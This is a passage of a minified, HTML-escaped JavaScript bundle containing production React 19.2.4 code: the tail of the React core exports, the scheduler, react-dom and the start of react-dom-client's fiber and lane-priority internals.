G(E,Q,X){if(E==null)return E;var ae=[],ce=0;return D(E,ae,&quot;&quot;,&quot;&quot;,function(xe){return Q.call(X,xe,ce++)}),ae}function ie(E){if(E._status===-1){var Q=E._result;Q=Q(),Q.then(function(X){(E._status===0||E._status===-1)&amp;&amp;(E._status=1,E._result=X)},function(X){(E._status===0||E._status===-1)&amp;&amp;(E._status=2,E._result=X)}),E._status===-1&amp;&amp;(E._status=0,E._result=Q)}if(E._status===1)return E._result.default;throw E._result}var pe=typeof reportError==&quot;function&quot;?reportError:function(E){if(typeof window==&quot;object&quot;&amp;&amp;typeof window.ErrorEvent==&quot;function&quot;){var Q=new window.ErrorEvent(&quot;error&quot;,{bubbles:!0,cancelable:!0,message:typeof E==&quot;object&quot;&amp;&amp;E!==null&amp;&amp;typeof E.message==&quot;string&quot;?String(E.message):String(E),error:E});if(!window.dispatchEvent(Q))return}else if(typeof process==&quot;object&quot;&amp;&amp;typeof process.emit==&quot;function&quot;){process.emit(&quot;uncaughtException&quot;,E);return}console.error(E)},ze={map:G,forEach:function(E,Q,X){G(E,function(){Q.apply(this,arguments)},X)},count:function(E){var Q=0;return G(E,function(){Q++}),Q},toArray:function(E){return G(E,function(Q){return Q})||[]},only:function(E){if(!J(E))throw Error(&quot;React.Children.only expected to receive a single React element child.&quot;);return E}};return ve.Activity=b,ve.Children=ze,ve.Component=k,ve.Fragment=f,ve.Profiler=d,ve.PureComponent=F,ve.StrictMode=r,ve.Suspense=y,ve.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=H,ve.__COMPILER_RUNTIME={__proto__:null,c:function(E){return H.H.useMemoCache(E)}},ve.cache=function(E){return function(){return E.apply(null,arguments)}},ve.cacheSignal=function(){return null},ve.cloneElement=function(E,Q,X){if(E==null)throw Error(&quot;The argument must be a React element, but you passed &quot;+E+&quot;.&quot;);var ae=U({},E.props),ce=E.key;if(Q!=null)for(xe in Q.key!==void 0&amp;&amp;(ce=&quot;&quot;+Q.key),Q)!Z.call(Q,xe)||xe===&quot;key&quot;||xe===&quot;__self&quot;||xe===&quot;__source&quot;||xe===&quot;ref&quot;&amp;&amp;Q.ref===void 0||(ae[xe]=Q[xe]);var xe=arguments.length-2;if(xe===1)ae.children=X;else if(1&lt;xe){for(var Se=Array(xe),et=0;et&lt;xe;et++)Se[et]=arguments[et+2];ae.children=Se}return q(E.type,ce,ae)},ve.createContext=function(E){return E={$$typeof:g,_currentValue:E,_currentValue2:E,_threadCount:0,Provider:null,Consumer:null},E.Provider=E,E.Consumer={$$typeof:p,_context:E},E},ve.createElement=function(E,Q,X){var ae,ce={},xe=null;if(Q!=null)for(ae in Q.key!==void 0&amp;&amp;(xe=&quot;&quot;+Q.key),Q)Z.call(Q,ae)&amp;&amp;ae!==&quot;key&quot;&amp;&amp;ae!==&quot;__self&quot;&amp;&amp;ae!==&quot;__source&quot;&amp;&amp;(ce[ae]=Q[ae]);var Se=arguments.length-2;if(Se===1)ce.children=X;else if(1&lt;Se){for(var et=Array(Se),Ve=0;Ve&lt;Se;Ve++)et[Ve]=arguments[Ve+2];ce.children=et}if(E&amp;&amp;E.defaultProps)for(ae in Se=E.defaultProps,Se)ce[ae]===void 0&amp;&amp;(ce[ae]=Se[ae]);return q(E,xe,ce)},ve.createRef=function(){return{current:null}},ve.forwardRef=function(E){return{$$typeof:v,render:E}},ve.isValidElement=J,ve.lazy=function(E){return{$$typeof:S,_payload:{_status:-1,_result:E},_init:ie}},ve.memo=function(E,Q){return{$$typeof:x,type:E,compare:Q===void 0?null:Q}},ve.startTransition=function(E){var Q=H.T,X={};H.T=X;try{var ae=E(),ce=H.S;ce!==null&amp;&amp;ce(X,ae),typeof ae==&quot;object&quot;&amp;&amp;ae!==null&amp;&amp;typeof ae.then==&quot;function&quot;&amp;&amp;ae.then(K,pe)}catch(xe){pe(xe)}finally{Q!==null&amp;&amp;X.types!==null&amp;&amp;(Q.types=X.types),H.T=Q}},ve.unstable_useCacheRefresh=function(){return H.H.useCacheRefresh()},ve.use=function(E){return H.H.use(E)},ve.useActionState=function(E,Q,X){return H.H.useActionState(E,Q,X)},ve.useCallback=function(E,Q){return H.H.useCallback(E,Q)},ve.useContext=function(E){return H.H.useContext(E)},ve.useDebugValue=function(){},ve.useDeferredValue=function(E,Q){return H.H.useDeferredValue(E,Q)},ve.useEffect=function(E,Q){return H.H.useEffect(E,Q)},ve.useEffectEvent=function(E){return H.H.useEffectEvent(E)},ve.useId=function(){return H.H.useId()},ve.useImperativeHandle=function(E,Q,X){return H.H.useImperativeHandle(E,Q,X)},ve.useInsertionEffect=function(E,Q){return H.H.useInsertionEffect(E,Q)},ve.useLayoutEffect=function(E,Q){return H.H.useLayoutEffect(E,Q)},ve.useMemo=function(E,Q){return H.H.useMemo(E,Q)},ve.useOptimistic=function(E,Q){return H.H.useOptimistic(E,Q)},ve.useReducer=function(E,Q,X){return H.H.useReducer(E,Q,X)},ve.useRef=function(E){return H.H.useRef(E)},ve.useState=function(E){return H.H.useState(E)},ve.useSyncExternalStore=function(E,Q,X){return H.H.useSyncExternalStore(E,Q,X)},ve.useTransition=function(){return H.H.useTransition()},ve.version=&quot;19.2.4&quot;,ve}var gm;function lr(){return gm||(gm=1,Jc.exports=Up()),Jc.exports}var m=lr(),Kc={exports:{}},Wn={},$c={exports:{}},Fc={};/**
 * @license React
 * scheduler.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var bm;function Hp(){return bm||(bm=1,(function(u){function c(D,G){var ie=D.length;D.push(G);e:for(;0&lt;ie;){var pe=ie-1&gt;&gt;&gt;1,ze=D[pe];if(0&lt;d(ze,G))D[pe]=G,D[ie]=ze,ie=pe;else break e}}function f(D){return D.length===0?null:D[0]}function r(D){if(D.length===0)return null;var G=D[0],ie=D.pop();if(ie!==G){D[0]=ie;e:for(var pe=0,ze=D.length,E=ze&gt;&gt;&gt;1;pe&lt;E;){var Q=2*(pe+1)-1,X=D[Q],ae=Q+1,ce=D[ae];if(0&gt;d(X,ie))ae&lt;ze&amp;&amp;0&gt;d(ce,X)?(D[pe]=ce,D[ae]=ie,pe=ae):(D[pe]=X,D[Q]=ie,pe=Q);else if(ae&lt;ze&amp;&amp;0&gt;d(ce,ie))D[pe]=ce,D[ae]=ie,pe=ae;else break e}}return G}function d(D,G){var ie=D.sortIndex-G.sortIndex;return ie!==0?ie:D.id-G.id}if(u.unstable_now=void 0,typeof performance==&quot;object&quot;&amp;&amp;typeof performance.now==&quot;function&quot;){var p=performance;u.unstable_now=function(){return p.now()}}else{var g=Date,v=g.now();u.unstable_now=function(){return g.now()-v}}var y=[],x=[],S=1,b=null,T=3,Y=!1,R=!1,U=!1,w=!1,k=typeof setTimeout==&quot;function&quot;?setTimeout:null,$=typeof clearTimeout==&quot;function&quot;?clearTimeout:null,F=typeof setImmediate&lt;&quot;u&quot;?setImmediate:null;function I(D){for(var G=f(x);G!==null;){if(G.callback===null)r(x);else if(G.startTime&lt;=D)r(x),G.sortIndex=G.expirationTime,c(y,G);else break;G=f(x)}}function te(D){if(U=!1,I(D),!R)if(f(y)!==null)R=!0,K||(K=!0,L());else{var G=f(x);G!==null&amp;&amp;de(te,G.startTime-D)}}var K=!1,H=-1,Z=5,q=-1;function W(){return w?!0:!(u.unstable_now()-q&lt;Z)}function J(){if(w=!1,K){var D=u.unstable_now();q=D;var G=!0;try{e:{R=!1,U&amp;&amp;(U=!1,$(H),H=-1),Y=!0;var ie=T;try{t:{for(I(D),b=f(y);b!==null&amp;&amp;!(b.expirationTime&gt;D&amp;&amp;W());){var pe=b.callback;if(typeof pe==&quot;function&quot;){b.callback=null,T=b.priorityLevel;var ze=pe(b.expirationTime&lt;=D);if(D=u.unstable_now(),typeof ze==&quot;function&quot;){b.callback=ze,I(D),G=!0;break t}b===f(y)&amp;&amp;r(y),I(D)}else r(y);b=f(y)}if(b!==null)G=!0;else{var E=f(x);E!==null&amp;&amp;de(te,E.startTime-D),G=!1}}break e}finally{b=null,T=ie,Y=!1}G=void 0}}finally{G?L():K=!1}}}var L;if(typeof F==&quot;function&quot;)L=function(){F(J)};else if(typeof MessageChannel&lt;&quot;u&quot;){var P=new MessageChannel,ee=P.port2;P.port1.onmessage=J,L=function(){ee.postMessage(null)}}else L=function(){k(J,0)};function de(D,G){H=k(function(){D(u.unstable_now())},G)}u.unstable_IdlePriority=5,u.unstable_ImmediatePriority=1,u.unstable_LowPriority=4,u.unstable_NormalPriority=3,u.unstable_Profiling=null,u.unstable_UserBlockingPriority=2,u.unstable_cancelCallback=function(D){D.callback=null},u.unstable_forceFrameRate=function(D){0&gt;D||125&lt;D?console.error(&quot;forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported&quot;):Z=0&lt;D?Math.floor(1e3/D):5},u.unstable_getCurrentPriorityLevel=function(){return T},u.unstable_next=function(D){switch(T){case 1:case 2:case 3:var G=3;break;default:G=T}var ie=T;T=G;try{return D()}finally{T=ie}},u.unstable_requestPaint=function(){w=!0},u.unstable_runWithPriority=function(D,G){switch(D){case 1:case 2:case 3:case 4:case 5:break;default:D=3}var ie=T;T=D;try{return G()}finally{T=ie}},u.unstable_scheduleCallback=function(D,G,ie){var pe=u.unstable_now();switch(typeof ie==&quot;object&quot;&amp;&amp;ie!==null?(ie=ie.delay,ie=typeof ie==&quot;number&quot;&amp;&amp;0&lt;ie?pe+ie:pe):ie=pe,D){case 1:var ze=-1;break;case 2:ze=250;break;case 5:ze=1073741823;break;case 4:ze=1e4;break;default:ze=5e3}return ze=ie+ze,D={id:S++,callback:G,priorityLevel:D,startTime:ie,expirationTime:ze,sortIndex:-1},ie&gt;pe?(D.sortIndex=ie,c(x,D),f(y)===null&amp;&amp;D===f(x)&amp;&amp;(U?($(H),H=-1):U=!0,de(te,ie-pe))):(D.sortIndex=ze,c(y,D),R||Y||(R=!0,K||(K=!0,L()))),D},u.unstable_shouldYield=W,u.unstable_wrapCallback=function(D){var G=T;return function(){var ie=T;T=G;try{return D.apply(this,arguments)}finally{T=ie}}}})(Fc)),Fc}var jm;function qp(){return jm||(jm=1,$c.exports=Hp()),$c.exports}var Wc={exports:{}},ot={};/**
 * @license React
 * react-dom.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var Sm;function Bp(){if(Sm)return ot;Sm=1;var u=lr();function c(y){var x=&quot;https://react.dev/errors/&quot;+y;if(1&lt;arguments.length){x+=&quot;?args[]=&quot;+encodeURIComponent(arguments[1]);for(var S=2;S&lt;arguments.length;S++)x+=&quot;&amp;args[]=&quot;+encodeURIComponent(arguments[S])}return&quot;Minified React error #&quot;+y+&quot;; visit &quot;+x+&quot; for the full message or use the non-minified dev environment for full errors and additional helpful warnings.&quot;}function f(){}var r={d:{f,r:function(){throw Error(c(522))},D:f,C:f,L:f,m:f,X:f,S:f,M:f},p:0,findDOMNode:null},d=Symbol.for(&quot;react.portal&quot;);function p(y,x,S){var b=3&lt;arguments.length&amp;&amp;arguments[3]!==void 0?arguments[3]:null;return{$$typeof:d,key:b==null?null:&quot;&quot;+b,children:y,containerInfo:x,implementation:S}}var g=u.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;function v(y,x){if(y===&quot;font&quot;)return&quot;&quot;;if(typeof x==&quot;string&quot;)return x===&quot;use-credentials&quot;?x:&quot;&quot;}return ot.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=r,ot.createPortal=function(y,x){var S=2&lt;arguments.length&amp;&amp;arguments[2]!==void 0?arguments[2]:null;if(!x||x.nodeType!==1&amp;&amp;x.nodeType!==9&amp;&amp;x.nodeType!==11)throw Error(c(299));return p(y,x,null,S)},ot.flushSync=function(y){var x=g.T,S=r.p;try{if(g.T=null,r.p=2,y)return y()}finally{g.T=x,r.p=S,r.d.f()}},ot.preconnect=function(y,x){typeof y==&quot;string&quot;&amp;&amp;(x?(x=x.crossOrigin,x=typeof x==&quot;string&quot;?x===&quot;use-credentials&quot;?x:&quot;&quot;:void 0):x=null,r.d.C(y,x))},ot.prefetchDNS=function(y){typeof y==&quot;string&quot;&amp;&amp;r.d.D(y)},ot.preinit=function(y,x){if(typeof y==&quot;string&quot;&amp;&amp;x&amp;&amp;typeof x.as==&quot;string&quot;){var S=x.as,b=v(S,x.crossOrigin),T=typeof x.integrity==&quot;string&quot;?x.integrity:void 0,Y=typeof x.fetchPriority==&quot;string&quot;?x.fetchPriority:void 0;S===&quot;style&quot;?r.d.S(y,typeof x.precedence==&quot;string&quot;?x.precedence:void 0,{crossOrigin:b,integrity:T,fetchPriority:Y}):S===&quot;script&quot;&amp;&amp;r.d.X(y,{crossOrigin:b,integrity:T,fetchPriority:Y,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0})}},ot.preinitModule=function(y,x){if(typeof y==&quot;string&quot;)if(typeof x==&quot;object&quot;&amp;&amp;x!==null){if(x.as==null||x.as===&quot;script&quot;){var S=v(x.as,x.crossOrigin);r.d.M(y,{crossOrigin:S,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0})}}else x==null&amp;&amp;r.d.M(y)},ot.preload=function(y,x){if(typeof y==&quot;string&quot;&amp;&amp;typeof x==&quot;object&quot;&amp;&amp;x!==null&amp;&amp;typeof x.as==&quot;string&quot;){var S=x.as,b=v(S,x.crossOrigin);r.d.L(y,S,{crossOrigin:b,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0,type:typeof x.type==&quot;string&quot;?x.type:void 0,fetchPriority:typeof x.fetchPriority==&quot;string&quot;?x.fetchPriority:void 0,referrerPolicy:typeof x.referrerPolicy==&quot;string&quot;?x.referrerPolicy:void 0,imageSrcSet:typeof x.imageSrcSet==&quot;string&quot;?x.imageSrcSet:void 0,imageSizes:typeof x.imageSizes==&quot;string&quot;?x.imageSizes:void 0,media:typeof x.media==&quot;string&quot;?x.media:void 0})}},ot.preloadModule=function(y,x){if(typeof y==&quot;string&quot;)if(x){var S=v(x.as,x.crossOrigin);r.d.m(y,{as:typeof x.as==&quot;string&quot;&amp;&amp;x.as!==&quot;script&quot;?x.as:void 0,crossOrigin:S,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0})}else r.d.m(y)},ot.requestFormReset=function(y){r.d.r(y)},ot.unstable_batchedUpdates=function(y,x){return y(x)},ot.useFormState=function(y,x,S){return g.H.useFormState(y,x,S)},ot.useFormStatus=function(){return g.H.useHostTransitionStatus()},ot.version=&quot;19.2.4&quot;,ot}var Nm;function Lp(){if(Nm)return Wc.exports;Nm=1;function u(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&gt;&quot;u&quot;||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!=&quot;function&quot;))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(u)}catch(c){console.error(c)}}return u(),Wc.exports=Bp(),Wc.exports}/**
 * @license React
 * react-dom-client.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var Em;function Gp(){if(Em)return Wn;Em=1;var u=qp(),c=lr(),f=Lp();function r(e){var t=&quot;https://react.dev/errors/&quot;+e;if(1&lt;arguments.length){t+=&quot;?args[]=&quot;+encodeURIComponent(arguments[1]);for(var a=2;a&lt;arguments.length;a++)t+=&quot;&amp;args[]=&quot;+encodeURIComponent(arguments[a])}return&quot;Minified React error #&quot;+e+&quot;; visit &quot;+t+&quot; for the full message or use the non-minified dev environment for full errors and additional helpful warnings.&quot;}function d(e){return!(!e||e.nodeType!==1&amp;&amp;e.nodeType!==9&amp;&amp;e.nodeType!==11)}function p(e){var t=e,a=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do t=e,(t.flags&amp;4098)!==0&amp;&amp;(a=t.return),e=t.return;while(e)}return t.tag===3?a:null}function g(e){if(e.tag===13){var t=e.memoizedState;if(t===null&amp;&amp;(e=e.alternate,e!==null&amp;&amp;(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function v(e){if(e.tag===31){var t=e.memoizedState;if(t===null&amp;&amp;(e=e.alternate,e!==null&amp;&amp;(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function y(e){if(p(e)!==e)throw Error(r(188))}function x(e){var t=e.alternate;if(!t){if(t=p(e),t===null)throw Error(r(188));return t!==e?null:e}for(var a=e,l=t;;){var n=a.return;if(n===null)break;var i=n.alternate;if(i===null){if(l=n.return,l!==null){a=l;continue}break}if(n.child===i.child){for(i=n.child;i;){if(i===a)return y(n),e;if(i===l)return y(n),t;i=i.sibling}throw Error(r(188))}if(a.return!==l.return)a=n,l=i;else{for(var o=!1,h=n.child;h;){if(h===a){o=!0,a=n,l=i;break}if(h===l){o=!0,l=n,a=i;break}h=h.sibling}if(!o){for(h=i.child;h;){if(h===a){o=!0,a=i,l=n;break}if(h===l){o=!0,l=i,a=n;break}h=h.sibling}if(!o)throw Error(r(189))}}if(a.alternate!==l)throw Error(r(190))}if(a.tag!==3)throw Error(r(188));return a.stateNode.current===a?e:t}function S(e){var t=e.tag;if(t===5||t===26||t===27||t===6)return e;for(e=e.child;e!==null;){if(t=S(e),t!==null)return t;e=e.sibling}return null}var b=Object.assign,T=Symbol.for(&quot;react.element&quot;),Y=Symbol.for(&quot;react.transitional.element&quot;),R=Symbol.for(&quot;react.portal&quot;),U=Symbol.for(&quot;react.fragment&quot;),w=Symbol.for(&quot;react.strict_mode&quot;),k=Symbol.for(&quot;react.profiler&quot;),$=Symbol.for(&quot;react.consumer&quot;),F=Symbol.for(&quot;react.context&quot;),I=Symbol.for(&quot;react.forward_ref&quot;),te=Symbol.for(&quot;react.suspense&quot;),K=Symbol.for(&quot;react.suspense_list&quot;),H=Symbol.for(&quot;react.memo&quot;),Z=Symbol.for(&quot;react.lazy&quot;),q=Symbol.for(&quot;react.activity&quot;),W=Symbol.for(&quot;react.memo_cache_sentinel&quot;),J=Symbol.iterator;function L(e){return e===null||typeof e!=&quot;object&quot;?null:(e=J&amp;&amp;e[J]||e[&quot;@@iterator&quot;],typeof e==&quot;function&quot;?e:null)}var P=Symbol.for(&quot;react.client.reference&quot;);function ee(e){if(e==null)return null;if(typeof e==&quot;function&quot;)return e.$$typeof===P?null:e.displayName||e.name||null;if(typeof e==&quot;string&quot;)return e;switch(e){case U:return&quot;Fragment&quot;;case k:return&quot;Profiler&quot;;case w:return&quot;StrictMode&quot;;case te:return&quot;Suspense&quot;;case K:return&quot;SuspenseList&quot;;case q:return&quot;Activity&quot;}if(typeof e==&quot;object&quot;)switch(e.$$typeof){case R:return&quot;Portal&quot;;case F:return e.displayName||&quot;Context&quot;;case $:return(e._context.displayName||&quot;Context&quot;)+&quot;.Consumer&quot;;case I:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||&quot;&quot;,e=e!==&quot;&quot;?&quot;ForwardRef(&quot;+e+&quot;)&quot;:&quot;ForwardRef&quot;),e;case H:return t=e.displayName||null,t!==null?t:ee(e.type)||&quot;Memo&quot;;case Z:t=e._payload,e=e._init;try{return ee(e(t))}catch{}}return null}var de=Array.isArray,D=c.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,G=f.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,ie={pending:!1,data:null,method:null,action:null},pe=[],ze=-1;function E(e){return{current:e}}function Q(e){0&gt;ze||(e.current=pe[ze],pe[ze]=null,ze--)}function X(e,t){ze++,pe[ze]=e.current,e.current=t}var ae=E(null),ce=E(null),xe=E(null),Se=E(null);function et(e,t){switch(X(xe,t),X(ce,e),X(ae,null),t.nodeType){case 9:case 11:e=(e=t.documentElement)&amp;&amp;(e=e.namespaceURI)?Ld(e):0;break;default:if(e=t.tagName,t=t.namespaceURI)t=Ld(t),e=Gd(t,e);else switch(e){case&quot;svg&quot;:e=1;break;case&quot;math&quot;:e=2;break;default:e=0}}Q(ae),X(ae,e)}function Ve(){Q(ae),Q(ce),Q(xe)}function he(e){e.memoizedState!==null&amp;&amp;X(Se,e);var t=ae.current,a=Gd(t,e.type);t!==a&amp;&amp;(X(ce,e),X(ae,a))}function mt(e){ce.current===e&amp;&amp;(Q(ae),Q(ce)),Se.current===e&amp;&amp;(Q(Se),Zn._currentValue=ie)}var Ge,Ja;function Ka(e){if(Ge===void 0)try{throw Error()}catch(a){var t=a.stack.trim().match(/\n( *(at )?)/);Ge=t&amp;&amp;t[1]||&quot;&quot;,Ja=-1&lt;a.stack.indexOf(`
    at`)?&quot; (&lt;anonymous&gt;)&quot;:-1&lt;a.stack.indexOf(&quot;@&quot;)?&quot;@unknown:0:0&quot;:&quot;&quot;}return`
`+Ge+e+Ja}var Ci=!1;function zi(e,t){if(!e||Ci)return&quot;&quot;;Ci=!0;var a=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var l={DetermineComponentFrameRoot:function(){try{if(t){var V=function(){throw Error()};if(Object.defineProperty(V.prototype,&quot;props&quot;,{set:function(){throw Error()}}),typeof Reflect==&quot;object&quot;&amp;&amp;Reflect.construct){try{Reflect.construct(V,[])}catch(O){var z=O}Reflect.construct(e,[],V)}else{try{V.call()}catch(O){z=O}e.call(V.prototype)}}else{try{throw Error()}catch(O){z=O}(V=e())&amp;&amp;typeof V.catch==&quot;function&quot;&amp;&amp;V.catch(function(){})}}catch(O){if(O&amp;&amp;z&amp;&amp;typeof O.stack==&quot;string&quot;)return[O.stack,z.stack]}return[null,null]}};l.DetermineComponentFrameRoot.displayName=&quot;DetermineComponentFrameRoot&quot;;var n=Object.getOwnPropertyDescriptor(l.DetermineComponentFrameRoot,&quot;name&quot;);n&amp;&amp;n.configurable&amp;&amp;Object.defineProperty(l.DetermineComponentFrameRoot,&quot;name&quot;,{value:&quot;DetermineComponentFrameRoot&quot;});var i=l.DetermineComponentFrameRoot(),o=i[0],h=i[1];if(o&amp;&amp;h){var j=o.split(`
`),C=h.split(`
`);for(n=l=0;l&lt;j.length&amp;&amp;!j[l].includes(&quot;DetermineComponentFrameRoot&quot;);)l++;for(;n&lt;C.length&amp;&amp;!C[n].includes(&quot;DetermineComponentFrameRoot&quot;);)n++;if(l===j.length||n===C.length)for(l=j.length-1,n=C.length-1;1&lt;=l&amp;&amp;0&lt;=n&amp;&amp;j[l]!==C[n];)n--;for(;1&lt;=l&amp;&amp;0&lt;=n;l--,n--)if(j[l]!==C[n]){if(l!==1||n!==1)do if(l--,n--,0&gt;n||j[l]!==C[n]){var M=`
`+j[l].replace(&quot; at new &quot;,&quot; at &quot;);return e.displayName&amp;&amp;M.includes(&quot;&lt;anonymous&gt;&quot;)&amp;&amp;(M=M.replace(&quot;&lt;anonymous&gt;&quot;,e.displayName)),M}while(1&lt;=l&amp;&amp;0&lt;=n);break}}}finally{Ci=!1,Error.prepareStackTrace=a}return(a=e?e.displayName||e.name:&quot;&quot;)?Ka(a):&quot;&quot;}function ch(e,t){switch(e.tag){case 26:case 27:case 5:return Ka(e.type);case 16:return Ka(&quot;Lazy&quot;);case 13:return e.child!==t&amp;&amp;t!==null?Ka(&quot;Suspense Fallback&quot;):Ka(&quot;Suspense&quot;);case 19:return Ka(&quot;SuspenseList&quot;);case 0:case 15:return zi(e.type,!1);case 11:return zi(e.type.render,!1);case 1:return zi(e.type,!0);case 31:return Ka(&quot;Activity&quot;);default:return&quot;&quot;}}function hr(e){try{var t=&quot;&quot;,a=null;do t+=ch(e,a),a=e,e=e.return;while(e);return t}catch(l){return`
Error generating stack: `+l.message+`
`+l.stack}}var Ri=Object.prototype.hasOwnProperty,Oi=u.unstable_scheduleCallback,Di=u.unstable_cancelCallback,rh=u.unstable_shouldYield,oh=u.unstable_requestPaint,St=u.unstable_now,fh=u.unstable_getCurrentPriorityLevel,pr=u.unstable_ImmediatePriority,xr=u.unstable_UserBlockingPriority,as=u.unstable_NormalPriority,dh=u.unstable_LowPriority,vr=u.unstable_IdlePriority,mh=u.log,hh=u.unstable_setDisableYieldValue,ln=null,Nt=null;function Sa(e){if(typeof mh==&quot;function&quot;&amp;&amp;hh(e),Nt&amp;&amp;typeof Nt.setStrictMode==&quot;function&quot;)try{Nt.setStrictMode(ln,e)}catch{}}var Et=Math.clz32?Math.clz32:vh,ph=Math.log,xh=Math.LN2;function vh(e){return e&gt;&gt;&gt;=0,e===0?32:31-(ph(e)/xh|0)|0}var ls=256,ns=262144,ss=4194304;function $a(e){var t=e&amp;42;if(t!==0)return t;switch(e&amp;-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return e&amp;261888;case 262144:case 524288:case 1048576:case 2097152:return e&amp;3932160;case 4194304:case 8388608:case 16777216:case 33554432:return e&amp;62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return e}}function is(e,t,a){var l=e.pendingLanes;if(l===0)return 0;var n=0,i=e.suspendedLanes,o=e.pingedLanes;e=e.warmLanes;var h=l&amp;134217727;return h!==0?(l=h&amp;~i,l!==0?n=$a(l):(o&amp;=h,o!==0?n=$a(o):a||(a=h&amp;~e,a!==0&amp;&amp;(n=$a(a))))):(h=l&amp;~i,h!==0?n=$a(h):o!==0?n=$a(o):a||(a=l&amp;~e,a!==0&amp;&amp;(n=$a(a)))),n===0?0:t!==0&amp;&amp;t!==n&amp;&amp;(t&amp;i)===0&amp;&amp;(i=n&amp;-n,a=t&amp;-t,i&gt;=a||i===32&amp;&amp;(a&amp;4194048)!==0)?t:n}function nn(e,t){return(e.pendingLanes&amp;~(e.suspendedLanes&amp;~e.pingedLanes)&amp;t)===0}function yh(e,t){switch(e){case 1:case 2:case 4:case 8:case 64:return t+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function yr(){var e=ss;return ss&lt;&lt;=1,(ss&amp;62914560)===0&amp;&amp;(ss=4194304),e}function wi(e){for(var t=[],a=0;31&gt;a;a++)t.push(e);return t}function sn(e,t){e.pendingLanes|=t,t!==268435456&amp;&amp;(e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0)}function gh(e,t,a,l,n,i){var o=e.pendingLanes;e.pendingLanes=a,e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0,e.expiredLanes&amp;=a,e.entangledLanes&amp;=a,e.errorRecoveryDisabledLanes&amp;=a,e.shellSuspendCounter=0;var h=e.entanglements,j=e.expirationTimes,C=e.hiddenUpdates;for(a=o&amp;~a;0&lt;a;){var M=31-Et(a),V=1&lt;&lt;M;h[M]=0,j[M]=-1;var z=C[M];if(z!==null)for(C[M]=null,M=0;M&lt;z.length;M++){var O=z[M];O!==null&amp;&amp;(O.lane&amp;=-536870913)}a&amp;=~V}l!==0&amp;&amp;gr(e,l,0),i!==0&amp;&amp;n===0&amp;&amp;e.tag!==0&amp;&amp;(e.suspendedLanes|=i&amp;~(o&amp;~t))}function gr(e,t,a){e.pendingLanes|=t,e.suspendedLanes&amp;=~t;var l=31-Et(t);e.entangledLanes|=t,e.entanglements[l]=e.entanglements[l]|1073741824|a&amp;261930}function br(e,t){var a=e.entangledLanes|=t;for(e=e.entanglements;a;){var l=31-Et(a),n=1&lt;&lt;l;n&amp;t|e[l]&amp;t&amp;&amp;(e[l]|=t),a&amp;=~n}}function jr(e,t){var a=t&amp;-t;return a=(a&amp;42)!==0?1:Mi(a),(a&amp;(e.suspendedLanes|t))!==0?0:a}function Mi(e){switch(e){case 2:e=1;break;case 8:e=4;break;case 32:e=16;break;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:e=128;break;case 268435456:e=134217728;break;default:e=0}return e}function Ui(e){return e&amp;=-e,2&lt;e?8&lt;e?(e&amp;134217727)!==0?32:268435456:8:2}function Sr(){var e=G.p;return e!==0?e:(e=window.event,e===void 0?32:rm(e.type))}function Nr(e,t){var a=G.p;try{return G.p=e,t()}finally{G.p=a}}var Na=Math.random().toString(36).slice(2),st=&quot;__reactFiber$&quot;+Na,ht=&quot;__reactProps$&quot;+Na,hl=&quot;__reactContainer$&quot;+Na,Hi=&quot;__reactEvents$&quot;+Na,bh=&quot;__reactListeners$&quot;+Na,jh=&quot;__reactHandles$&quot;+Na,Er=&quot;__reactResources$&quot;+Na,un=&quot;__reactMarker$&quot;+Na;function qi(e){delete e[st],delete e[ht],delete e[Hi],delete e[bh],delete e[jh]}function pl(e){var t=e[st];if(t)return t;for(var a=e.parentNode;a;){if(t=a[hl]||a[st]){if(a=t.alternate,t.child!==null||a!==null&amp;&amp;a.child!==null)for(e=Jd(e);e!==null;){if(a=e[st])return a;e=Jd(e)}return t}e=a,a=e.parentNode}return null}function xl(e){if(e=e[st]||e[hl]){var t=e.tag;if(t===5||t===6||t===13||t===31||t===26||t===27||t===3)return e}return null}function cn(e){var 